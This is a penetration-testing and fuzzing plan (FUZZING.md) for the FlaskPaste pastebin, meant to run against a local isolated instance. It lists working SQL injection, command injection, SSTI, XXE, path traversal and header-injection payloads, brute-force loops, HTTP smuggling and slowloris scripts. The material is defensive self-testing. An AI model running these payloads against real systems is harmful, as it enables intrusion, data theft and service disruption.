Files
flaskpaste/FUZZING.md
Username 0a7627fbe5
Some checks failed
CI / Lint & Format (push) Failing after 16s
CI / Unit Tests (push) Has been skipped
CI / Memory Leak Check (push) Has been skipped
CI / SBOM Generation (push) Has been skipped
CI / Security Scan (push) Failing after 21s
CI / Security Tests (push) Has been skipped
add offensive security testing framework
- FUZZING.md: comprehensive attack methodology covering 10 phases
- tests/fuzz/run_fuzz.py: automated fuzzing harness with 6 test phases

Phases: recon, input fuzzing, injection (SQLi, SSTI, path traversal,
command injection), auth bypass, business logic, crypto attacks.

Includes: radamsa mutations, hypothesis property testing, atheris
coverage-guided fuzzing, HTTP smuggling, slowloris, nuclei templates.
2025-12-25 01:11:02 +01:00

27 KiB

Offensive Security Testing Plan

Comprehensive fuzzing and penetration testing for FlaskPaste. No restrictions. Break everything.


Test Environment Setup

Isolated Instance

# Create isolated workspace
export FUZZ_DIR="/tmp/flaskpaste-fuzz"
mkdir -p "$FUZZ_DIR"/{db,logs,crashes,results}

# Environment for isolated instance
export FLASKPASTE_DATABASE="$FUZZ_DIR/db/fuzz.db"
export FLASKPASTE_SECRET_KEY="fuzz-$(openssl rand -hex 16)"
export FLASKPASTE_PKI_PASSWORD="fuzz-pki-password"
export FLASKPASTE_REGISTRATION_ENABLED=true
export FLASKPASTE_POW_DIFFICULTY=1
export FLASKPASTE_RATE_LIMIT_ENABLED=false
export FLASKPASTE_PROXY_SECRET=""
export FLASK_ENV=development
export FLASK_DEBUG=0

# Start isolated instance
cd /home/user/git/flaskpaste
./venv/bin/python run.py --host 127.0.0.1 --port 5099 2>&1 | tee "$FUZZ_DIR/logs/server.log" &
FUZZ_PID=$!
echo $FUZZ_PID > "$FUZZ_DIR/server.pid"

# Target
export TARGET="http://127.0.0.1:5099"

Teardown

kill $(cat "$FUZZ_DIR/server.pid") 2>/dev/null
rm -rf "$FUZZ_DIR"

Attack Surface

Endpoints

┌────────────────────────┬─────────────────┬─────────────────────────────────┐
│ Endpoint               │ Methods         │ Auth Required
├────────────────────────┼─────────────────┼─────────────────────────────────┤
│ /                      │ GET, POST       │ PoW for POST
│ /health                │ GET             │ No
│ /challenge             │ GET             │ No
│ /client                │ GET             │ No
│ /register/challenge    │ GET             │ No
│ /register              │ POST            │ PoW
│ /pastes                │ GET             │ Client cert
│ /<paste_id>            │ GET, HEAD, PUT  │ Optional password
│ /<paste_id>/raw        │ GET, HEAD       │ Optional password
│ /<paste_id>            │ DELETE          │ Client cert + ownership
│ /pki                   │ GET             │ No
│ /pki/ca                │ POST            │ PKI password
│ /pki/ca.crt            │ GET             │ No
│ /pki/issue             │ POST            │ Admin cert
│ /pki/certs             │ GET             │ Admin cert
│ /pki/revoke/<serial>   │ POST            │ Admin cert
│ /audit                 │ GET             │ Admin cert
└────────────────────────┴─────────────────┴─────────────────────────────────┘

Input Vectors

Headers:

  • X-Forwarded-For - IP spoofing
  • X-Forwarded-Proto, X-Scheme - Protocol injection
  • X-Forwarded-Host, Host - Host header injection
  • X-Paste-Password - Password bypass
  • X-Proxy-Secret - Auth bypass
  • X-SSL-Client-SHA1 - Cert fingerprint spoofing
  • X-PoW-Token, X-PoW-Solution - PoW bypass
  • X-Burn-After-Read - Logic manipulation
  • X-Expiry - Time-based attacks
  • X-Remove-Password, X-Extend-Expiry - State manipulation
  • Content-Type - Parser confusion

Query Parameters:

  • limit, offset - Integer overflow, negative values
  • type, owner, event_type - Injection
  • after, before, since, until - Time manipulation
  • all - Authorization bypass
  • client_id, paste_id, outcome - ID enumeration

URL Parameters:

  • paste_id - Path traversal, injection, enumeration
  • serial - Certificate serial injection

Body:

  • Raw bytes - Binary injection, null bytes
  • JSON - Type confusion, nested objects
  • Malformed encoding - UTF-8 attacks

Phase 1: Reconnaissance & Enumeration

Directory/Endpoint Fuzzing

# Install tools
pip install httpx aiohttp

# ffuf - fast web fuzzer
# Install: go install github.com/ffuf/ffuf/v2@latest
ffuf -u "$TARGET/FUZZ" -w /usr/share/wordlists/dirb/common.txt \
    -mc all -fc 404 -o "$FUZZ_DIR/results/endpoints.json"

# Hidden endpoints
ffuf -u "$TARGET/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
    -mc 200,201,301,302,400,401,403,405,500 -o "$FUZZ_DIR/results/hidden.json"

# API versioning
for v in v1 v2 v3 api api/v1 api/v2 _api internal debug admin; do
    curl -s -o /dev/null -w "%{http_code} /$v\n" "$TARGET/$v"
done

Paste ID Enumeration

# Sequential IDs
for i in $(seq 1 1000); do
    curl -s -o /dev/null -w "%{http_code} $i\n" "$TARGET/$i"
done | grep -v "^404"

# Common patterns
for id in test admin root debug null undefined NaN 0 -1 '' ' '; do
    curl -s -o /dev/null -w "%{http_code} '$id'\n" "$TARGET/$id"
done

Phase 2: Input Fuzzing

HTTP Method Fuzzing

for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE CONNECT \
              PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK; do
    for endpoint in / /health /challenge /pastes /pki /audit; do
        code=$(curl -s -o /dev/null -w "%{http_code}" -X "$method" "$TARGET$endpoint")
        echo "$code $method $endpoint"
    done
done | sort -u

Header Injection

# Host header poisoning
curl -v "$TARGET/" -H "Host: evil.com"
curl -v "$TARGET/" -H "X-Forwarded-Host: evil.com"
curl -v "$TARGET/" -H "X-Forwarded-For: 127.0.0.1"
curl -v "$TARGET/" -H "X-Forwarded-For: ' OR 1=1--"

# Proxy secret brute force
for secret in '' admin password secret proxy 123456 test; do
    curl -s -o /dev/null -w "%{http_code} '$secret'\n" \
        "$TARGET/pastes" -H "X-Proxy-Secret: $secret"
done

# Fake client cert fingerprint
curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: 0000000000000000000000000000000000000000"
curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: ' OR 1=1--"
curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: ../../../etc/passwd"

PoW Bypass Attempts

# Empty/malformed tokens
curl -X POST "$TARGET/" -d "test" \
    -H "X-PoW-Token: " -H "X-PoW-Solution: "

curl -X POST "$TARGET/" -d "test" \
    -H "X-PoW-Token: invalid" -H "X-PoW-Solution: 0"

# Negative solution
curl -X POST "$TARGET/" -d "test" \
    -H "X-PoW-Token: $(curl -s $TARGET/challenge | jq -r .token)" \
    -H "X-PoW-Solution: -1"

# Overflow
curl -X POST "$TARGET/" -d "test" \
    -H "X-PoW-Token: test" \
    -H "X-PoW-Solution: 99999999999999999999999999999999"

# Token reuse (race condition)
TOKEN=$(curl -s "$TARGET/challenge" | jq -r .token)
# Solve it, then try to reuse

Content-Type Confusion

# JSON body with wrong content-type
curl -X POST "$TARGET/" -d '{"content":"test"}' \
    -H "Content-Type: application/json"

curl -X POST "$TARGET/" -d '{"content":"test"}' \
    -H "Content-Type: text/plain"

curl -X POST "$TARGET/" -d '{"content":"test"}' \
    -H "Content-Type: application/x-www-form-urlencoded"

# Multipart confusion
curl -X POST "$TARGET/" -F "file=@/etc/passwd" \
    -H "Content-Type: multipart/form-data"

# XML injection attempt
curl -X POST "$TARGET/" -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>' \
    -H "Content-Type: application/xml"

Phase 3: Injection Attacks

SQL Injection

# Paste ID injection
SQLI_PAYLOADS=(
    "' OR '1'='1"
    "1' OR '1'='1'--"
    "1; DROP TABLE pastes;--"
    "1 UNION SELECT * FROM users--"
    "1' AND SLEEP(5)--"
    "1' AND (SELECT COUNT(*) FROM sqlite_master)>0--"
    "1/**/OR/**/1=1"
    "1' OR ''='"
)

for payload in "${SQLI_PAYLOADS[@]}"; do
    encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
    curl -s -o /dev/null -w "%{http_code} %{time_total}s $payload\n" "$TARGET/$encoded"
done

# Header injection
for payload in "${SQLI_PAYLOADS[@]}"; do
    curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
        "$TARGET/pastes" -H "X-SSL-Client-SHA1: $payload"
done

# sqlmap automated
sqlmap -u "$TARGET/FUZZ" --batch --level=5 --risk=3 \
    --technique=BEUSTQ --dbms=sqlite \
    -o --output-dir="$FUZZ_DIR/results/sqlmap"

Path Traversal

TRAVERSAL_PAYLOADS=(
    "../../../etc/passwd"
    "....//....//....//etc/passwd"
    "..%2f..%2f..%2fetc/passwd"
    "..%252f..%252f..%252fetc/passwd"
    "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd"
    "....\/....\/....\/etc/passwd"
    "..;/..;/..;/etc/passwd"
    "..//..//..//etc/passwd"
)

for payload in "${TRAVERSAL_PAYLOADS[@]}"; do
    curl -s -o /dev/null -w "%{http_code} $payload\n" "$TARGET/$payload"
    curl -s -o /dev/null -w "%{http_code} $payload (raw)\n" "$TARGET/$payload/raw"
done

Command Injection

CMD_PAYLOADS=(
    "; ls -la"
    "| cat /etc/passwd"
    "\$(cat /etc/passwd)"
    "\`cat /etc/passwd\`"
    "|| cat /etc/passwd"
    "&& cat /etc/passwd"
    "; sleep 10"
    "| sleep 10"
)

for payload in "${CMD_PAYLOADS[@]}"; do
    # In paste content
    curl -s -X POST "$TARGET/" -d "$payload" -o /dev/null -w "%{time_total}s\n"

    # In headers
    curl -s "$TARGET/" -H "X-Forwarded-For: $payload" -o /dev/null
done

SSTI (Server-Side Template Injection)

SSTI_PAYLOADS=(
    "{{7*7}}"
    "{{config}}"
    "{{self.__class__.__mro__[2].__subclasses__()}}"
    "${7*7}"
    "<%= 7*7 %>"
    "{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}"
    "{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}"
)

for payload in "${SSTI_PAYLOADS[@]}"; do
    # Create paste with SSTI payload
    response=$(curl -s -X POST "$TARGET/" -d "$payload" \
        -H "X-PoW-Token: test" -H "X-PoW-Solution: 0")
    echo "$response" | grep -q "49" && echo "SSTI CONFIRMED: $payload"
done

Phase 4: Authentication & Authorization

Certificate Fingerprint Attacks

# Fingerprint enumeration
for i in $(seq -w 00 ff); do
    fp="${i}00000000000000000000000000000000000000"
    code=$(curl -s -o /dev/null -w "%{http_code}" \
        "$TARGET/pastes" -H "X-SSL-Client-SHA1: $fp")
    [ "$code" != "401" ] && echo "Hit: $fp -> $code"
done

# Known weak fingerprints
WEAK_FPS=(
    "0000000000000000000000000000000000000000"
    "da39a3ee5e6b4b0d3255bfef95601890afd80709"  # SHA1 of empty
    "ffffffffffffffffffffffffffffffffffffffff"
)

for fp in "${WEAK_FPS[@]}"; do
    curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: $fp"
done

Admin Privilege Escalation

# Try to issue certs without admin
curl -X POST "$TARGET/pki/issue" \
    -H "Content-Type: application/json" \
    -d '{"common_name": "hacker"}'

# Try to access audit without admin
curl "$TARGET/audit"

# Certificate serial manipulation
curl -X POST "$TARGET/pki/revoke/1"
curl -X POST "$TARGET/pki/revoke/-1"
curl -X POST "$TARGET/pki/revoke/999999999999"
curl -X POST "$TARGET/pki/revoke/../../../"

Password Protection Bypass

# Create password-protected paste, try to bypass
PASTE_ID="test123"

# Timing attack on password check
for i in $(seq 1 100); do
    curl -s -o /dev/null -w "%{time_total}\n" \
        "$TARGET/$PASTE_ID" -H "X-Paste-Password: wrong$i"
done | sort -n

# Empty password
curl "$TARGET/$PASTE_ID" -H "X-Paste-Password: "

# Null byte injection
curl "$TARGET/$PASTE_ID" -H "X-Paste-Password: correct%00garbage"

Phase 5: Business Logic Attacks

Race Conditions

# Concurrent paste creation with same content (dedup bypass)
for i in $(seq 1 100); do
    curl -s -X POST "$TARGET/" -d "race-test-content" &
done
wait

# Burn-after-read race
PASTE_ID="burn-test"
# Create burn paste, then race to read multiple times
for i in $(seq 1 50); do
    curl -s "$TARGET/$PASTE_ID" &
done
wait

# Rate limit race
for i in $(seq 1 200); do
    curl -s -X POST "$TARGET/" -d "rate-limit-test-$i" &
done
wait

Expiry Manipulation

# Negative expiry
curl -X POST "$TARGET/" -d "test" -H "X-Expiry: -1"
curl -X POST "$TARGET/" -d "test" -H "X-Expiry: -999999999"

# Overflow expiry
curl -X POST "$TARGET/" -d "test" -H "X-Expiry: 999999999999999999"

# Time travel
curl -X POST "$TARGET/" -d "test" -H "X-Expiry: 0"

# Extend beyond limits
curl -X PUT "$TARGET/test-paste" -H "X-Extend-Expiry: 999999999"

Resource Exhaustion

# Large paste (memory exhaustion)
dd if=/dev/urandom bs=1M count=100 | curl -X POST "$TARGET/" --data-binary @-

# Many small pastes (DB exhaustion)
for i in $(seq 1 10000); do
    curl -s -X POST "$TARGET/" -d "flood-$i" &
    [ $((i % 100)) -eq 0 ] && wait
done

# Deep recursion in JSON
python3 -c "print('{' * 1000 + '\"a\":1' + '}' * 1000)" | \
    curl -X POST "$TARGET/pki/ca" -H "Content-Type: application/json" -d @-

Phase 6: Cryptographic Attacks

PoW Token Analysis

# Collect tokens for pattern analysis
for i in $(seq 1 1000); do
    curl -s "$TARGET/challenge" | jq -r .token >> "$FUZZ_DIR/results/tokens.txt"
done

# Analyze randomness
python3 << 'EOF'
import base64
import collections

with open("/tmp/flaskpaste-fuzz/results/tokens.txt") as f:
    tokens = [line.strip() for line in f]

# Check for patterns
for i, t in enumerate(tokens[:-1]):
    if t == tokens[i+1]:
        print(f"DUPLICATE TOKEN at {i}: {t}")

# Byte distribution
all_bytes = b''.join(base64.b64decode(t) for t in tokens if t)
dist = collections.Counter(all_bytes)
print(f"Byte distribution entropy: {len(dist)}/256")
EOF

Timing Attacks

# Password comparison timing
python3 << 'EOF'
import requests
import statistics
import time

target = "http://127.0.0.1:5099"
paste_id = "test-timing"

# Measure response times for different password lengths
results = {}
for length in range(1, 20):
    password = "a" * length
    times = []
    for _ in range(100):
        start = time.perf_counter()
        requests.get(f"{target}/{paste_id}", headers={"X-Paste-Password": password})
        times.append(time.perf_counter() - start)
    results[length] = statistics.mean(times)
    print(f"Length {length}: {results[length]*1000:.3f}ms")

# Look for timing differences
EOF

Certificate Attacks

# Generate malformed certificates
openssl ecparam -name secp384r1 -genkey -out "$FUZZ_DIR/bad.key"

# Self-signed with weird parameters
openssl req -new -x509 -key "$FUZZ_DIR/bad.key" -out "$FUZZ_DIR/bad.crt" \
    -days 1 -subj "/CN='; DROP TABLE certificates;--"

# Try to register with malformed cert
curl -X POST "$TARGET/register" \
    --cert "$FUZZ_DIR/bad.crt" --key "$FUZZ_DIR/bad.key"

# PKI password brute force
COMMON_PASSWORDS=(
    "" "password" "admin" "123456" "pki" "secret"
    "flaskpaste" "certificate" "ca" "root"
)

for pw in "${COMMON_PASSWORDS[@]}"; do
    code=$(curl -s -o /dev/null -w "%{http_code}" \
        -X POST "$TARGET/pki/ca" \
        -H "Content-Type: application/json" \
        -d "{\"password\": \"$pw\"}")
    echo "$code $pw"
done

Phase 7: Advanced Fuzzing

Radamsa Mutations

# Install radamsa
# git clone https://gitlab.com/akihe/radamsa && cd radamsa && make && sudo make install

# Generate mutated inputs
echo "normal paste content" > "$FUZZ_DIR/seed.txt"

for i in $(seq 1 1000); do
    radamsa "$FUZZ_DIR/seed.txt" | curl -s -X POST "$TARGET/" \
        --data-binary @- -o /dev/null -w "%{http_code}\n" 2>/dev/null
done | sort | uniq -c

# Mutate JSON
echo '{"common_name": "test"}' > "$FUZZ_DIR/seed.json"
for i in $(seq 1 1000); do
    radamsa "$FUZZ_DIR/seed.json" | curl -s -X POST "$TARGET/pki/ca" \
        -H "Content-Type: application/json" \
        --data-binary @- -o /dev/null -w "%{http_code}\n" 2>/dev/null
done | sort | uniq -c

AFL++ (if Python can be instrumented)

# Python AFL instrumentation (experimental)
pip install python-afl

# Create harness
cat > "$FUZZ_DIR/harness.py" << 'HARNESS'
import afl
import sys
sys.path.insert(0, '/home/user/git/flaskpaste')
from app import create_app

app = create_app()

afl.init()
with app.test_client() as client:
    data = sys.stdin.buffer.read()
    try:
        client.post('/', data=data)
    except Exception:
        pass
HARNESS

# Run AFL
# py-afl-fuzz -i "$FUZZ_DIR/seeds" -o "$FUZZ_DIR/afl-out" -- python "$FUZZ_DIR/harness.py"

Hypothesis Property Testing

cat > "$FUZZ_DIR/hypothesis_fuzz.py" << 'HYPO'
import hypothesis
from hypothesis import given, strategies as st, settings
import requests
import os

TARGET = os.environ.get("TARGET", "http://127.0.0.1:5099")

@settings(max_examples=10000, deadline=None)
@given(st.binary(min_size=0, max_size=10000))
def test_paste_content(content):
    """Fuzz paste content with arbitrary bytes."""
    try:
        r = requests.post(TARGET + "/", data=content, timeout=5)
        assert r.status_code in (201, 400, 413, 429, 503)
    except requests.exceptions.RequestException:
        pass

@settings(max_examples=10000, deadline=None)
@given(st.text(min_size=0, max_size=1000))
def test_paste_id(paste_id):
    """Fuzz paste ID retrieval."""
    try:
        r = requests.get(f"{TARGET}/{paste_id}", timeout=5)
        assert r.status_code in (200, 400, 404, 410)
    except requests.exceptions.RequestException:
        pass

@settings(max_examples=5000, deadline=None)
@given(
    st.dictionaries(
        st.text(min_size=1, max_size=50),
        st.one_of(st.text(), st.integers(), st.floats(), st.none(), st.booleans()),
        min_size=0, max_size=20
    )
)
def test_pki_json(data):
    """Fuzz PKI endpoints with arbitrary JSON."""
    try:
        r = requests.post(
            TARGET + "/pki/ca",
            json=data,
            timeout=5
        )
        assert r.status_code in (200, 201, 400, 401, 403, 409, 500)
    except requests.exceptions.RequestException:
        pass

@settings(max_examples=5000, deadline=None)
@given(st.dictionaries(st.text(), st.text(), min_size=0, max_size=30))
def test_arbitrary_headers(headers):
    """Fuzz with arbitrary headers."""
    safe_headers = {k[:100]: v[:1000] for k, v in headers.items()
                    if k and not k.lower().startswith(('host', 'content-length'))}
    try:
        r = requests.get(TARGET + "/", headers=safe_headers, timeout=5)
    except requests.exceptions.RequestException:
        pass

if __name__ == "__main__":
    test_paste_content()
    test_paste_id()
    test_pki_json()
    test_arbitrary_headers()
HYPO

pip install hypothesis requests
python "$FUZZ_DIR/hypothesis_fuzz.py"

Atheris (LibFuzzer for Python)

cat > "$FUZZ_DIR/atheris_fuzz.py" << 'ATHERIS'
import atheris
import sys

with atheris.instrument_imports():
    sys.path.insert(0, '/home/user/git/flaskpaste')
    from app import create_app
    from app.database import init_db
    import tempfile
    import os

# Create isolated app
tmpdir = tempfile.mkdtemp()
os.environ['FLASKPASTE_DATABASE'] = f'{tmpdir}/fuzz.db'
app = create_app()

def TestOneInput(data):
    with app.test_client() as client:
        fdp = atheris.FuzzedDataProvider(data)

        # Fuzz endpoint
        endpoint = fdp.ConsumeUnicodeNoSurrogates(100)
        method = fdp.PickValueInList(['GET', 'POST', 'PUT', 'DELETE', 'HEAD'])
        body = fdp.ConsumeBytes(fdp.remaining_bytes())

        try:
            if method == 'GET':
                client.get(f'/{endpoint}')
            elif method == 'POST':
                client.post(f'/{endpoint}', data=body)
            elif method == 'PUT':
                client.put(f'/{endpoint}', data=body)
            elif method == 'DELETE':
                client.delete(f'/{endpoint}')
            elif method == 'HEAD':
                client.head(f'/{endpoint}')
        except Exception:
            pass

if __name__ == "__main__":
    atheris.Setup(sys.argv, TestOneInput)
    atheris.Fuzz()
ATHERIS

pip install atheris
python "$FUZZ_DIR/atheris_fuzz.py" -max_len=10000 -runs=100000

Phase 8: Protocol-Level Attacks

HTTP Smuggling

# CL.TE smuggling attempt
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 13\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nSMUGGLED' | \
    nc 127.0.0.1 5099

# TE.CL smuggling attempt
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 3\r\nTransfer-Encoding: chunked\r\n\r\n8\r\nSMUGGLED\r\n0\r\n\r\n' | \
    nc 127.0.0.1 5099

# Double Content-Length
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 5\r\nContent-Length: 100\r\n\r\nHELLO' | \
    nc 127.0.0.1 5099

HTTP/2 Attacks (if applicable)

# h2c smuggling
curl --http2 "$TARGET/"
curl --http2-prior-knowledge "$TARGET/"

# HPACK bomb
# Requires specialized tools

Slowloris / Slow POST

# Slow headers
python3 << 'EOF'
import socket
import time

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 5099))
sock.send(b"POST / HTTP/1.1\r\nHost: target\r\n")

for i in range(100):
    sock.send(f"X-Header-{i}: {'A'*100}\r\n".encode())
    time.sleep(1)
    print(f"Sent header {i}")
EOF

# Slow body
python3 << 'EOF'
import socket
import time

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 5099))
sock.send(b"POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 1000000\r\n\r\n")

for i in range(1000):
    sock.send(b"A")
    time.sleep(0.1)
    print(f"Sent byte {i}")
EOF

Phase 9: Specialized Tools

Nuclei Templates

# Install nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Run all templates
nuclei -u "$TARGET" -t nuclei-templates/ -o "$FUZZ_DIR/results/nuclei.txt"

# Custom template for FlaskPaste
cat > "$FUZZ_DIR/flaskpaste.yaml" << 'TEMPLATE'
id: flaskpaste-pow-bypass
info:
  name: FlaskPaste PoW Bypass
  severity: high

requests:
  - method: POST
    path:
      - "{{BaseURL}}/"
    headers:
      X-PoW-Token: "invalid"
      X-PoW-Solution: "0"
    body: "test"
    matchers:
      - type: status
        status:
          - 201
TEMPLATE

nuclei -u "$TARGET" -t "$FUZZ_DIR/flaskpaste.yaml"

Burp Suite / ZAP Automation

# OWASP ZAP API scan
docker run -t owasp/zap2docker-stable zap-api-scan.py \
    -t "$TARGET" -f openapi -r "$FUZZ_DIR/results/zap-report.html"

# ZAP baseline scan
docker run -t owasp/zap2docker-stable zap-baseline.py \
    -t "$TARGET" -r "$FUZZ_DIR/results/zap-baseline.html"

Custom Python Fuzzer

#!/usr/bin/env python3
"""Comprehensive FlaskPaste fuzzer."""
import asyncio
import aiohttp
import random
import string
import hashlib
import json
import os
from pathlib import Path

TARGET = os.environ.get("TARGET", "http://127.0.0.1:5099")
RESULTS_DIR = Path(os.environ.get("FUZZ_DIR", "/tmp/flaskpaste-fuzz")) / "results"
RESULTS_DIR.mkdir(parents=True, exist_ok=True)

# Payload generators
def random_bytes(n):
    return bytes(random.getrandbits(8) for _ in range(n))

def random_string(n):
    return ''.join(random.choices(string.printable, k=n))

def null_bytes():
    return b'\x00' * random.randint(1, 100)

def unicode_bombs():
    return random.choice([
        '\u202e' * 100,  # RTL override
        '\ufeff' * 100,  # BOM
        '\u0000' * 100,  # Null
        'A\u0300' * 100,  # Combining chars
        '\U0001F4A9' * 100,  # Emoji
    ])

async def fuzz_endpoint(session, method, path, **kwargs):
    try:
        async with session.request(method, f"{TARGET}{path}", **kwargs, timeout=5) as r:
            return r.status, await r.text()
    except Exception as e:
        return None, str(e)

async def fuzz_paste_creation(session):
    """Fuzz paste creation with various payloads."""
    payloads = [
        random_bytes(random.randint(1, 10000)),
        null_bytes(),
        unicode_bombs().encode(),
        b'A' * 100_000_000,  # 100MB
        json.dumps({"nested": {"deep": {"structure": True}}}).encode(),
        b'<?xml version="1.0"?><!DOCTYPE x[<!ENTITY xxe SYSTEM "file:///etc/passwd">]><x>&xxe;</x>',
    ]

    for payload in payloads:
        status, body = await fuzz_endpoint(session, 'POST', '/', data=payload)
        if status and status not in (201, 400, 413, 429, 503):
            print(f"UNEXPECTED: POST / -> {status}")
            with open(RESULTS_DIR / "anomalies.log", "a") as f:
                f.write(f"POST / payload={payload[:100]!r} status={status}\n")

async def fuzz_headers(session):
    """Fuzz with malicious headers."""
    headers_payloads = [
        {"X-Forwarded-For": "' OR 1=1--"},
        {"X-SSL-Client-SHA1": "../../../etc/passwd"},
        {"X-PoW-Token": "A" * 10000},
        {"X-Expiry": "-1"},
        {"X-Expiry": "99999999999999999999"},
        {"Host": "evil.com\r\nX-Injected: true"},
        {"Content-Type": "text/html; charset=utf-8\r\nX-Injected: true"},
    ]

    for headers in headers_payloads:
        status, body = await fuzz_endpoint(session, 'GET', '/', headers=headers)
        if "X-Injected" in body:
            print(f"HEADER INJECTION FOUND: {headers}")

async def fuzz_path_traversal(session):
    """Fuzz for path traversal."""
    paths = [
        "/../../../etc/passwd",
        "/....//....//....//etc/passwd",
        "/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
        "/..%252f..%252f..%252fetc/passwd",
        "/<script>alert(1)</script>",
        "/{{7*7}}",
        "/${7*7}",
    ]

    for path in paths:
        status, body = await fuzz_endpoint(session, 'GET', path)
        if status == 200 and ("root:" in body or "49" in body or "alert" in body):
            print(f"VULNERABILITY FOUND: {path}")

async def main():
    async with aiohttp.ClientSession() as session:
        await asyncio.gather(
            fuzz_paste_creation(session),
            fuzz_headers(session),
            fuzz_path_traversal(session),
        )

if __name__ == "__main__":
    asyncio.run(main())

Phase 10: Crash Analysis

Monitor for Crashes

# Watch server logs for errors
tail -f "$FUZZ_DIR/logs/server.log" | grep -iE "error|exception|traceback|crash|segfault" | \
    tee "$FUZZ_DIR/crashes/errors.log"

# Monitor process
while true; do
    if ! kill -0 $(cat "$FUZZ_DIR/server.pid") 2>/dev/null; then
        echo "SERVER CRASHED at $(date)" >> "$FUZZ_DIR/crashes/crash.log"
        # Restart and continue
        cd /home/user/git/flaskpaste
        ./venv/bin/python run.py --host 127.0.0.1 --port 5099 &
        echo $! > "$FUZZ_DIR/server.pid"
    fi
    sleep 1
done

Reproduce Crashes

# Replay payloads that caused issues
for payload in "$FUZZ_DIR/crashes"/*.payload; do
    echo "Replaying: $payload"
    curl -X POST "$TARGET/" --data-binary "@$payload" -v
done

Results Collection

Summary Report

cat > "$FUZZ_DIR/generate_report.sh" << 'REPORT'
#!/bin/bash
echo "# FlaskPaste Fuzzing Results"
echo "Generated: $(date)"
echo ""
echo "## Statistics"
echo "- Total requests: $(wc -l < "$FUZZ_DIR/logs/server.log" 2>/dev/null || echo 0)"
echo "- Crashes detected: $(wc -l < "$FUZZ_DIR/crashes/crash.log" 2>/dev/null || echo 0)"
echo "- Anomalies: $(wc -l < "$FUZZ_DIR/results/anomalies.log" 2>/dev/null || echo 0)"
echo ""
echo "## Findings"
cat "$FUZZ_DIR/results/anomalies.log" 2>/dev/null
echo ""
echo "## Tool Results"
for f in "$FUZZ_DIR/results"/*.txt "$FUZZ_DIR/results"/*.json; do
    [ -f "$f" ] && echo "### $(basename $f)" && head -50 "$f"
done
REPORT
chmod +x "$FUZZ_DIR/generate_report.sh"

Quick Start

# One-liner to run everything
export FUZZ_DIR="/tmp/flaskpaste-fuzz"
export TARGET="http://127.0.0.1:5099"
mkdir -p "$FUZZ_DIR"/{db,logs,crashes,results}

# Start server
cd /home/user/git/flaskpaste
FLASKPASTE_DATABASE="$FUZZ_DIR/db/fuzz.db" \
FLASKPASTE_POW_DIFFICULTY=1 \
FLASKPASTE_RATE_LIMIT_ENABLED=false \
./venv/bin/python run.py --host 127.0.0.1 --port 5099 &

# Run fuzzing phases
sleep 2
./fuzz-phase1.sh   # Recon
./fuzz-phase2.sh   # Input fuzzing
./fuzz-phase3.sh   # Injection
# ... etc

# Generate report
./generate_report.sh > "$FUZZ_DIR/REPORT.md"